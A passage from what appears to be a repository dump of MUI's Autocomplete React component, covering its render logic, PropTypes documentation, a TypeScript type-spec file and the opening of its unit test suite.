({\n    className: classes.tag,\n    disabled,\n    ...getItemProps(params),\n  });\n\n  if (multiple) {\n    if (value.length > 0) {\n      if (renderValue) {\n        startAdornment = renderValue(value, getCustomizedItemProps, ownerState);\n      } else {\n        startAdornment = value.map((option, index) => {\n          const { key, ...customItemProps } = getCustomizedItemProps({ index });\n          return (\n            <Chip\n              key={key}\n              label={getOptionLabel(option)}\n              size={size}\n              {...customItemProps}\n              {...externalForwardedProps.slotProps.chip}\n            />\n          );\n        });\n      }\n    }\n  } else if (renderValue && value != null) {\n    startAdornment = renderValue(value, getCustomizedItemProps, ownerState);\n  }\n\n  if (limitTags > -1 && Array.isArray(startAdornment)) {\n    const more = startAdornment.length - limitTags;\n    if (!focused && more > 0) {\n      startAdornment = startAdornment.splice(0, limitTags);\n      startAdornment.push(\n        <span className={classes.tag} key={startAdornment.length}>\n          {getLimitTagsText(more)}\n        </span>,\n      );\n    }\n  }\n\n  const defaultRenderGroup = (params) => (\n    <li key={params.key}>\n      <AutocompleteGroupLabel\n        className={classes.groupLabel}\n        ownerState={ownerState}\n        component=\"div\"\n      >\n        {params.group}\n      </AutocompleteGroupLabel>\n      <AutocompleteGroupUl className={classes.groupUl} ownerState={ownerState}>\n        {params.children}\n      </AutocompleteGroupUl>\n    </li>\n  );\n\n  const renderGroup = renderGroupProp || defaultRenderGroup;\n  const defaultRenderOption = (props2, option) => {\n    // Need to clearly apply key because of https://github.com/vercel/next.js/issues/55642\n    const { key, ...otherProps } = props2;\n    return (\n      <li key={key} {...otherProps}>\n        {getOptionLabel(option)}\n      </li>\n    );\n  };\n  const renderOption = renderOptionProp || defaultRenderOption;\n\n  const renderListOption = (option, index) => {\n    const optionProps = getOptionProps({ option, index });\n\n    return renderOption(\n      { ...optionProps, className: classes.option },\n      option,\n      {\n        selected: optionProps['aria-selected'],\n        index,\n        inputValue,\n      },\n      ownerState,\n    );\n  };\n\n  return (\n    <React.Fragment>\n      <RootSlot {...rootProps}>\n        {renderInput({\n          id,\n          disabled,\n          fullWidth: props.fullWidth ?? true,\n          size: size === 'small' ? 'small' : undefined,\n          slotProps: {\n            inputLabel: getInputLabelProps(),\n            input: {\n              ref: setAnchorEl,\n              className: classes.inputRoot,\n              startAdornment,\n              onMouseDown: (event) => {\n                if (event.target === event.currentTarget) {\n                  handleInputMouseDown(event);\n                }\n              },\n              ...((hasClearIcon || hasPopupIcon) && {\n                endAdornment: (\n                  <AutocompleteEndAdornment\n                    className={classes.endAdornment}\n                    ownerState={ownerState}\n                  >\n                    {hasClearIcon ? (\n                      <ClearIndicatorSlot {...clearIndicatorProps}>{clearIcon}</ClearIndicatorSlot>\n                    ) : null}\n                    {hasPopupIcon ? (\n                      <PopupIndicatorSlot {...popupIndicatorProps}>{popupIcon}</PopupIndicatorSlot>\n                    ) : null}\n                  </AutocompleteEndAdornment>\n                ),\n              }),\n            },\n            htmlInput: {\n              className: classes.input,\n              disabled,\n              readOnly,\n              ...getInputProps(),\n            },\n          },\n        })}\n      </RootSlot>\n      {anchorEl ? (\n        <AutocompletePopper as={PopperSlot} {...popperProps}>\n          <AutocompletePaper as={PaperSlot} {...paperProps}>\n            {loading && groupedOptions.length === 0 ? (\n              <AutocompleteLoading className={classes.loading} ownerState={ownerState}>\n                {loadingText}\n              </AutocompleteLoading>\n            ) : null}\n            {groupedOptions.length === 0 && !freeSolo && !loading ? (\n              <AutocompleteNoOptions\n                className={classes.noOptions}\n                ownerState={ownerState}\n                role=\"presentation\"\n                onMouseDown={(event) => {\n                  // Prevent input blur when interacting with the \"no options\" content\n                  event.preventDefault();\n                }}\n              >\n                {noOptionsText}\n              </AutocompleteNoOptions>\n            ) : null}\n            {groupedOptions.length > 0 ? (\n              <ListboxSlot {...listboxProps}>\n                {groupedOptions.map((option, index) => {\n                  if (groupBy) {\n                    return renderGroup({\n                      key: option.key,\n                      group: option.group,\n                      children: option.options.map((option2, index2) =>\n                        renderListOption(option2, option.index + index2),\n                      ),\n                    });\n                  }\n                  return renderListOption(option, index);\n                })}\n              </ListboxSlot>\n            ) : null}\n          </AutocompletePaper>\n        </AutocompletePopper>\n      ) : null}\n    </React.Fragment>\n  );\n});\n\nAutocomplete.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the portion of the selected suggestion that the user hasn't typed,\n   * known as the completion string, appears inline after the input cursor in the textbox.\n   * The inline completion string is visually highlighted and has a selected state.\n   * @default false\n   */\n  autoComplete: PropTypes.bool,\n  /**\n   * If `true`, the first option is automatically highlighted.\n   * @default false\n   */\n  autoHighlight: PropTypes.bool,\n  /**\n   * If `true`, the selected option becomes the value of the input\n   * when the Autocomplete loses focus unless the user chooses\n   * a different option or changes the character string in the input.\n   *\n   * When using the `freeSolo` mode, the typed value will be the input value\n   * if the Autocomplete loses focus without highlighting an option.\n   * @default false\n   */\n  autoSelect: PropTypes.bool,\n  /**\n   * Control if the input should be blurred when an option is selected:\n   *\n   * - `false` the input is not blurred.\n   * - `true` the input is always blurred.\n   * - `touch` the input is blurred after a touch event.\n   * - `mouse` the input is blurred after a mouse event.\n   * @default false\n   */\n  blurOnSelect: PropTypes.oneOfType([PropTypes.oneOf(['mouse', 'touch']), PropTypes.bool]),\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon to display in place of the default clear icon.\n   * @default <ClearIcon fontSize=\"small\" />\n   */\n  clearIcon: PropTypes.node,\n  /**\n   * If `true`, the input's text is cleared on blur if no value is selected.\n   *\n   * Set it to `true` if you want to help the user enter a new value.\n   * Set it to `false` if you want to help the user resume their search.\n   * @default !props.freeSolo\n   */\n  clearOnBlur: PropTypes.bool,\n  /**\n   * If `true`, clear all values when the user presses escape and the popup is closed.\n   * @default false\n   */\n  clearOnEscape: PropTypes.bool,\n  /**\n   * Override the default text for the *clear* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Clear'\n   */\n  clearText: PropTypes.string,\n  /**\n   * Override the default text for the *close popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Close'\n   */\n  closeText: PropTypes.string,\n  /**\n   * The default value. Use when the component is not controlled.\n   * @default props.multiple ? [] : null\n   */\n  defaultValue: chainPropTypes(PropTypes.any, (props) => {\n    if (props.multiple && props.defaultValue !== undefined && !Array.isArray(props.defaultValue)) {\n      return new Error(\n        [\n          'MUI: The Autocomplete expects the `defaultValue` prop to be an array when `multiple={true}` or undefined.',\n          `However, ${props.defaultValue} was provided.`,\n        ].join('\\n'),\n      );\n    }\n    return null;\n  }),\n  /**\n   * If `true`, the input can't be cleared.\n   * @default false\n   */\n  disableClearable: PropTypes.bool,\n  /**\n   * If `true`, the popup won't close when a value is selected.\n   * @default false\n   */\n  disableCloseOnSelect: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, will allow focus on disabled items.\n   * @default false\n   */\n  disabledItemsFocusable: PropTypes.bool,\n  /**\n   * If `true`, the list box in the popup will not wrap focus.\n   * @default false\n   */\n  disableListWrap: PropTypes.bool,\n  /**\n   * If `true`, the `Popper` content will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal: PropTypes.bool,\n  /**\n   * A function that determines the filtered options to be rendered on search.\n   *\n   * @default createFilterOptions()\n   * @param {Value[]} options The options to render.\n   * @param {object} state The state of the component.\n   * @returns {Value[]}\n   */\n  filterOptions: PropTypes.func,\n  /**\n   * If `true`, hide the selected options from the list box.\n   * @default false\n   */\n  filterSelectedOptions: PropTypes.bool,\n  /**\n   * Force the visibility display of the popup icon.\n   * @default 'auto'\n   */\n  forcePopupIcon: PropTypes.oneOfType([PropTypes.oneOf(['auto']), PropTypes.bool]),\n  /**\n   * If `true`, the Autocomplete is free solo, meaning that the user input is not bound to provided options.\n   * @default false\n   */\n  freeSolo: PropTypes.bool,\n  /**\n   * If `true`, the input will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The label to display when the tags are truncated (`limitTags`).\n   *\n   * @param {number} more The number of truncated tags.\n   * @returns {ReactNode}\n   * @default (more) => `+${more}`\n   */\n  getLimitTagsText: PropTypes.func,\n  /**\n   * Used to determine the disabled state for a given option.\n   *\n   * @param {Value} option The option to test.\n   * @template Value The option shape. Will be the same shape as an item of the options.\n   * @returns {boolean}\n   */\n  getOptionDisabled: PropTypes.func,\n  /**\n   * Used to determine the key for a given option.\n   * This can be useful when the labels of options are not unique (since labels are used as keys by default).\n   *\n   * @param {Value} option The option to get the key for.\n   * @returns {string | number}\n   */\n  getOptionKey: PropTypes.func,\n  /**\n   * Used to determine the string value for a given option.\n   * It's used to fill the input (and the list box options if `renderOption` is not provided).\n   *\n   * If used in free solo mode, it must accept both the type of the options and a string.\n   *\n   * @param {Value|string} option\n   * @returns {string}\n   * @default (option) => option.label ?? option\n   */\n  getOptionLabel: PropTypes.func,\n  /**\n   * If provided, the options will be grouped under the returned string.\n   * The groupBy value is also used as the text for group headings when `renderGroup` is not provided.\n   *\n   * @param {Value} option The Autocomplete option.\n   * @returns {string}\n   */\n  groupBy: PropTypes.func,\n  /**\n   * If `true`, the component handles the \"Home\" and \"End\" keys when the popup is open.\n   * It should move focus to the first option and last option, respectively.\n   * @default !props.freeSolo\n   */\n  handleHomeEndKeys: PropTypes.bool,\n  /**\n   * This prop is used to help implement the accessibility logic.\n   * If you don't provide an id it will fall back to a randomly generated one.\n   */\n  id: PropTypes.string,\n  /**\n   * If `true`, the highlight can move to the input.\n   * @default false\n   */\n  includeInputInList: PropTypes.bool,\n  /**\n   * The input value.\n   */\n  inputValue: PropTypes.string,\n  /**\n   * Used to determine if the option represents the given value.\n   * Uses strict equality by default.\n   * ⚠️ Both arguments need to be handled, an option can only match with one value.\n   *\n   * @param {Value} option The option to test.\n   * @param {Value|string} value The value to test against.\n   * @returns {boolean}\n   */\n  isOptionEqualToValue: PropTypes.func,\n  /**\n   * The maximum number of tags that will be visible when not focused.\n   * Set `-1` to disable the limit.\n   * @default -1\n   */\n  limitTags: integerPropType,\n  /**\n   * If `true`, the component is in a loading state.\n   * This shows the `loadingText` in place of suggestions (only if there are no suggestions to show, for example `options` are empty).\n   * @default false\n   */\n  loading: PropTypes.bool,\n  /**\n   * Text to display when in a loading state.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Loading…'\n   */\n  loadingText: PropTypes.node,\n  /**\n   * If `true`, `value` must be an array and the menu will support multiple selections.\n   * @default false\n   */\n  multiple: PropTypes.bool,\n  /**\n   * Text to display when there are no options.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'No options'\n   */\n  noOptionsText: PropTypes.node,\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {Value|Value[]} value The new value of the component.\n   * @param {string} reason One of \"createOption\", \"selectOption\", \"removeOption\", \"blur\" or \"clear\".\n   * @param {string} [details]\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback fired when the popup requests to be closed.\n   * Use in controlled mode (see open).\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggleInput\"`, `\"escape\"`, `\"selectOption\"`, `\"removeOption\"`, `\"blur\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * Callback fired when the highlight option changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {Value} option The highlighted option.\n   * @param {string} reason Can be: `\"keyboard\"`, `\"mouse\"`, `\"touch\"`.\n   */\n  onHighlightChange: PropTypes.func,\n  /**\n   * Callback fired when the input value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {string} value The new value of the text input.\n   * @param {string} reason Can be: `\"input\"` (user input), `\"reset\"` (programmatic change), `\"clear\"`, `\"blur\"`, `\"selectOption\"`, `\"removeOption\"`\n   */\n  onInputChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * Callback fired when the popup requests to be opened.\n   * Use in controlled mode (see open).\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onOpen: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * If `true`, the popup will open on input focus.\n   * @default false\n   */\n  openOnFocus: PropTypes.bool,\n  /**\n   * Override the default text for the *open popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Open'\n   */\n  openText: PropTypes.string,\n  /**\n   * A list of options that will be shown in the Autocomplete.\n   */\n  options: PropTypes.array.isRequired,\n  /**\n   * The icon to display in place of the default popup icon.\n   * @default <ArrowDropDownIcon />\n   */\n  popupIcon: PropTypes.node,\n  /**\n   * If `true`, the component becomes readonly. It is also supported for multiple tags where the tag cannot be deleted.\n   * @default false\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * Render the group.\n   *\n   * @param {AutocompleteRenderGroupParams} params The group to render.\n   * @returns {ReactNode}\n   */\n  renderGroup: PropTypes.func,\n  /**\n   * Render the input.\n   *\n   * **Note:** The `renderInput` prop must return a `TextField` component or a compatible custom component\n   * that correctly forwards `InputProps.ref` and spreads `inputProps`. This ensures proper integration\n   * with the Autocomplete's internal logic (e.g., focus management and keyboard navigation).\n   *\n   * Avoid using components like `DatePicker` or `Select` directly, as they may not forward the required props,\n   * leading to runtime errors or unexpected behavior.\n   *\n   * @param {object} params\n   * @returns {ReactNode}\n   */\n  renderInput: PropTypes.func.isRequired,\n  /**\n   * Render the option, use `getOptionLabel` by default.\n   *\n   * @param {object} props The props to apply on the li element.\n   * @param {Value} option The option to render.\n   * @param {object} state The state of each option.\n   * @param {object} ownerState The state of the Autocomplete component.\n   * @returns {ReactNode}\n   */\n  renderOption: PropTypes.func,\n  /**\n   * Renders the selected value(s) as rich content in the input for both single and multiple selections.\n   *\n   * @param {AutocompleteRenderValue<Value, Multiple, FreeSolo>} value The `value` provided to the component.\n   * @param {function} getItemProps The value item props.\n   * @param {object} ownerState The state of the Autocomplete component.\n   * @returns {ReactNode}\n   */\n  renderValue: PropTypes.func,\n  /**\n   * If `true`, the input's text is selected on focus.\n   * It helps the user clear the selected value.\n   * @default !props.freeSolo\n   */\n  selectOnFocus: PropTypes.bool,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({\n    chip: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    clearIndicator: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    listbox: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    popper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    popupIndicator: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    clearIndicator: PropTypes.elementType,\n    listbox: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    popper: PropTypes.elementType,\n    popupIndicator: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the autocomplete.\n   *\n   * The value must have reference equality with the option in order to be selected.\n   * You can customize the equality behavior with the `isOptionEqualToValue` prop.\n   */\n  value: chainPropTypes(PropTypes.any, (props) => {\n    if (props.multiple && props.value !== undefined && !Array.isArray(props.value)) {\n      return new Error(\n        [\n          'MUI: The Autocomplete expects the `value` prop to be an array when `multiple={true}` or undefined.',\n          `However, ${props.value} was provided.`,\n        ].join('\\n'),\n      );\n    }\n    return null;\n  }),\n};\n\nexport default Autocomplete;\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/Autocomplete.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Autocomplete, {\n  AutocompleteOwnerState,\n  AutocompleteProps,\n  AutocompleteRenderGetTagProps,\n} from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\nimport { ChipTypeMap } from '@mui/material/Chip';\nimport { AutocompleteValueOrFreeSoloValueMapping } from '../useAutocomplete';\n\ninterface MyAutocompleteProps<\n  T,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n> extends AutocompleteProps<T, Multiple, DisableClearable, FreeSolo, ChipComponent> {\n  myProp?: string;\n}\n\nfunction MyAutocomplete<\n  T,\n  Multiple extends boolean | undefined = false,\n  DisableClearable extends boolean | undefined = false,\n  FreeSolo extends boolean | undefined = false,\n  ChipComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n>(props: MyAutocompleteProps<T, Multiple, DisableClearable, FreeSolo, ChipComponent>) {\n  return <Autocomplete {...props} />;\n}\n\n// Test for ChipComponent generic type\n<MyAutocomplete<string, false, false, false, 'span'>\n  options={['1', '2', '3']}\n  renderValue={(value, getItemProps, ownerState) => {\n    expectType<AutocompleteOwnerState<string, false, false, false, 'span'>, typeof ownerState>(\n      ownerState,\n    );\n\n    return '';\n  }}\n  renderInput={() => null}\n/>;\n\n// multiple prop can be assigned for components that extend AutocompleteProps\n<MyAutocomplete\n  options={['1', '2', '3']}\n  onChange={(event, value) => {\n    expectType<string[], typeof value>(value);\n  }}\n  renderInput={() => null}\n  multiple\n/>;\n\n<MyAutocomplete\n  options={['1', '2', '3']}\n  onChange={(event, value) => {\n    expectType<string | null, typeof value>(value);\n  }}\n  renderInput={() => null}\n/>;\n\n// Tests presence of sx prop in ListboxProps\n<Autocomplete\n  options={['1', '2', '3']}\n  slotProps={{ listbox: { sx: { height: '10px' } } }}\n  renderInput={() => null}\n/>;\n\n// Tests presence of onMouseDown prop in InputProps\n<Autocomplete\n  options={['1', '2', '3']}\n  renderInput={(params) => {\n    expectType<React.MouseEventHandler, typeof params.slotProps.input.onMouseDown>(\n      params.slotProps.input.onMouseDown,\n    );\n    return <TextField {...params} />;\n  }}\n/>;\n\n<MyAutocomplete\n  options={['1', '2', '3']}\n  onChange={(event, value) => {\n    expectType<string, typeof value>(value);\n  }}\n  renderInput={() => null}\n  disableClearable\n/>;\n\n<MyAutocomplete\n  options={[{ label: '1' }, { label: '2' }]}\n  onChange={(event, value) => {\n    expectType<string | { label: string } | null, typeof value>(value);\n  }}\n  renderInput={() => null}\n  freeSolo\n/>;\n\n// Test for getInputProps return type\n<MyAutocomplete\n  options={[{ label: '1' }, { label: '2' }]}\n  renderInput={(params) => <TextField {...params} value={params.slotProps.htmlInput.value} />}\n/>;\n\n// Test for focusVisible class\n<Autocomplete\n  classes={{ focusVisible: 'test' }}\n  options={[{ label: '1' }, { label: '2' }]}\n  renderInput={(params) => <TextField {...params} />}\n/>;\n\ninterface Option {\n  label: string;\n  value: string;\n}\nconst options: Option[] = [\n  { label: '1', value: '1' },\n  { label: '2', value: '2' },\n];\nconst defaultOptions = [options[0], options[1]];\n<MyAutocomplete\n  multiple\n  options={options}\n  defaultValue={defaultOptions}\n  isOptionEqualToValue={(o, v) => o.label === v.label}\n  getOptionLabel={(o) => o.label}\n  renderInput={() => null}\n/>;\n\ninterface Tag {\n  color: string;\n  label: string;\n}\ntype TagComponentProps = Tag & React.HTMLAttributes<HTMLDivElement>;\nfunction TagComponent({ color, label, ...other }: TagComponentProps) {\n  return <div {...other}>{label}</div>;\n}\n\nfunction renderTags(value: Tag[], getTagProps: AutocompleteRenderGetTagProps) {\n  return value.map((tag: Tag, index) => {\n    const { key, onDelete, ...tagProps } = getTagProps({ index });\n\n    return <TagComponent key={key} {...tagProps} {...tag} />;\n  });\n}\n\nfunction AutocompleteComponentsProps() {\n  return (\n    <Autocomplete\n      options={['one', 'two', 'three']}\n      renderInput={(params) => <TextField {...params} />}\n      slotProps={{\n        clearIndicator: { size: 'large' },\n        paper: { elevation: 2 },\n        popper: { placement: 'bottom-end' },\n        popupIndicator: { size: 'large' },\n      }}\n    />\n  );\n}\n\nfunction CustomListboxRef() {\n  const ref = React.useRef(null);\n  return (\n    <Autocomplete\n      renderInput={(params) => <TextField {...params} />}\n      options={['one', 'two', 'three']}\n      slotProps={{ listbox: { ref } }}\n    />\n  );\n}\n\n// Tests presence of defaultMuiPrevented in event\n<Autocomplete\n  renderInput={(params) => <TextField {...params} />}\n  options={['one', 'two', 'three']}\n  onKeyDown={(event) => {\n    expectType<\n      React.KeyboardEvent<HTMLDivElement> & {\n        defaultMuiPrevented?: boolean;\n      },\n      typeof event\n    >(event);\n  }}\n/>;\n\n// freeSolo prop adds string to the getOptionLabel and isOptionEqualToValue value argument type\n<MyAutocomplete\n  options={[{ label: '1' }, { label: '2' }]}\n  renderInput={() => null}\n  freeSolo\n  getOptionLabel={(option) => {\n    expectType<AutocompleteValueOrFreeSoloValueMapping<{ label: string }, true>, typeof option>(\n      option,\n    );\n\n    return typeof option === 'string' ? option : option.label;\n  }}\n  isOptionEqualToValue={(option, value) => {\n    expectType<AutocompleteValueOrFreeSoloValueMapping<{ label: string }, true>, typeof value>(\n      value,\n    );\n    expectType<{ label: string }, typeof option>(option);\n\n    return typeof value === 'string' ? option.label === value : option.label === value.label;\n  }}\n/>;\n\n// getOptionLabel and isOptionEqualToValue value argument type should not include string when freeSolo is false\n<MyAutocomplete\n  options={[{ label: '1' }, { label: '2' }]}\n  renderInput={() => null}\n  getOptionLabel={(option) => {\n    expectType<{ label: string }, typeof option>(option);\n\n    return option.label;\n  }}\n  isOptionEqualToValue={(option, value) => {\n    expectType<{ label: string }, typeof value>(value);\n    expectType<{ label: string }, typeof option>(option);\n\n    return option.label === value.label;\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/Autocomplete.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  strictModeDoubleLoggingSuppressed,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport { spy } from 'sinon';\nimport Box from '@mui/system/Box';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport TextField from '@mui/material/TextField';\nimport Chip, { chipClasses } from '@mui/material/Chip';\nimport Autocomplete, {\n  autocompleteClasses as classes,\n  createFilterOptions,\n} from '@mui/material/Autocomplete';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport Tooltip from '@mui/material/Tooltip';\nimport describeConformance from '../../test/describeConformance';\n\nfunction checkHighlightIs(listbox, expected) {\n  const focused = listbox.querySelector(`.${classes.focused}`);\n\n  if (expected) {\n    if (focused) {\n      expect(focused).to.have.text(expected);\n    } else {\n      // No options selected\n      expect(null).to.equal(expected);\n    }\n  } else {\n    expect(focused).to.equal(null);\n  }\n}\n\ndescribe('<Autocomplete />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <Autocomplete\n      options={['one', 'two']}\n      defaultValue=\"one\"\n      open\n      renderInput={(params) => <TextField {...params} />}\n    />,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiAutocomplete',\n      testVariantProps: { variant: 'foo' },\n      testDeepOverrides: { slotName: 'endAdornment', slotClassName: classes.endAdornment },\n      testStateOverrides: { prop: 'fullWidth', value: true, styleKey: 'fullWidth' },\n      refInstanceof: window.HTMLDivElement,\n      testComponentPropWith: 'div',\n      slots: {\n        root: { expectedClassName: classes.root },\n        listbox: { expectedClassName: classes.listbox },\n        paper: { expectedClassName: classes.paper },\n        popper: { expectedClassName: classes.popper, testWithElement: null },\n      },\n      skip: ['componentProp'],\n    }),\n  );\n\n  describeConformance(\n    <Autocomplete\n      options={['one', 'two']}\n      defaultValue=\"one\"\n      open\n      renderInput={(params) => <TextField {...params} />}\n    />,\n    () => ({\n      classes,\n      render,\n      muiName: 'MuiAutocomplete',\n      slots: {\n        clearIndicator: { expectedClassName: classes.clearIndicator },\n        popupIndicator: { expectedClassName: classes.popupIndicator },\n      },\n      only: [\n        'slotsProp',\n        'slotPropsProp',\n        'slotPropsCallback',\n        'slotPropsCallbackWithPropsAsOwnerState',\n      ],\n    }),\n  );\n\n  describeConformance(\n    <Autocomplete\n      options={['one', 'two']}\n      defaultValue={['one']}\n      multiple\n      open\n      renderInput={(params) => <TextField {...params} />}\n    />,\n    () => ({\n      classes,\n      render,\n      muiName: 'MuiAutocomplete',\n      slots: {\n        chip: {},\n      },\n      only: ['slotPropsProp'],\n    }),\n  );\n\n  it('should be customizable in the theme', () => {\n    const theme = createTheme({\n      components: {\n        MuiAutocomplete: {\n          styleOverrides: {\n            paper: {\n              mixBlendMode: 'darken',\n            },\n          },\n        },\n      },\n    });\n\n    render(\n      <ThemeProvider theme={theme}>\n        <Autocomplete options={[]} open renderInput={(params) => <TextField {...params} />} />\n      </ThemeProvider>,\n    );\n    expect(document.querySelector(`.${classes.paper}`)).to.toHaveComputedStyle({\n      mixBlendMode: 'darken',\n    });\n  });\n\n  it('should not throw error when accessing ownerState in styleOverrides', () => {\n    const theme = createTheme({\n      components: {\n        MuiAutocomplete: {\n          styleOverrides: {\n            root: ({ ownerState }) => {\n              return {\n                outlineColor: ownerState.size === 'small' ? 'magenta' : 'crimson',\n              };\n            },\n          },\n        },\n      },\n    });\n\n    expect(() => {\n      render(\n        <ThemeProvider theme={theme}>\n          <Autocomplete\n            open\n            options={['one', 'two', 'three']}\n            renderInput={(params) => <TextField {...params} />}\n          />\n        </ThemeProvider>,\n      );\n    }).not.to.throw();\n  });\n\n  describe('combobox', () => {\n    it('should not open popup on right click', async () => {\n      const { user } = render(\n        <Autocomplete\n          disablePortal\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n\n      await user.pointer({ keys: '[MouseRight]', target: screen.getByRole('combobox') });\n\n      const listbox = screen.queryByRole('listbox');\n      expect(listbox).to.equal(null);\n    });\n\n    it('should clear the input when blur', () => {\n      render(<Autocomplete options={[]} renderInput={(params) => <TextField {...params} />} />);\n      const input = screen.getByRole('combobox');\n\n      act(() => {\n        input.focus();\n      });\n      fireEvent.change(document.activeElement, { target: { value: 'a' } });\n\n      expect(input.value).to.equal('a');\n\n      act(() => {\n        document.activeElement.blur();\n      });\n      expect(input.value).to.equal('');\n    });\n\n    it('should apply the icon classes', () => {\n      const view = render(\n        <Autocomplete\n          value=\"one\"\n          options={['one', 'two', 'three']}\n          renderInput={(params) => <TextField {...params} />}\n        />,\n      );\n      expect(view.container.querySelector(`.${classes.root}`)).to.have.class(classes.hasClearIcon);\n      expect(view.container.querySelector(`.${classes.root}`)).to.have.class(classes.hasPopupIcon);\n    });\n  });\n\n  describe('prop: loading', () => {\n    it('should show a loading message when open', () => {\n      render(\n        <Autocomplete\n          options={[]}\n          freeSolo\n          loading\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'ArrowDown' });\n      expect(document.querySelector(`.${classes.paper}`).textContent).to.equal('Loading…');\n    });\n\n    it('should show supplied options to the \"options\" prop even when loading', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two']}\n          loading\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      fireEvent.keyDown(screen.getByRole('combobox'), { key: 'ArrowDown' });\n      expect(document.querySelector(`.${classes.paper}`).textContent).not.to.equal('Loading…');\n\n      const listbox = screen.getByRole('listbox');\n      const htmlOptions = listbox.querySelectorAll('li');\n      expect(htmlOptions[0].innerHTML).to.equal('one');\n    });\n  });\n\n  describe('prop: autoHighlight', () => {\n    it('should set the focus on the first item', () => {\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          freeSolo\n          autoHighlight\n          open\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      fireEvent.change(document.activeElement, { target: { value: 'oo' } });\n      fireEvent.change(document.activeElement, { target: { value: 'o' } });\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n    });\n\n    it('should keep the highlight on the first item', () => {\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          value=\"one\"\n          autoHighlight\n          open\n          options={options}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      checkHighlightIs(screen.getByRole('listbox'), 'one');\n      fireEvent.change(document.activeElement, { target: { value: 'two' } });\n      checkHighlightIs(screen.getByRole('listbox'), 'two');\n    });\n\n    it('should set the focus on the first item when possible', () => {\n      const options = ['one', 'two'];\n      const view = render(\n        <Autocomplete\n          open\n          options={[]}\n          autoHighlight\n          loading\n          renderInput={(params) => <TextField {...params} autoFocus 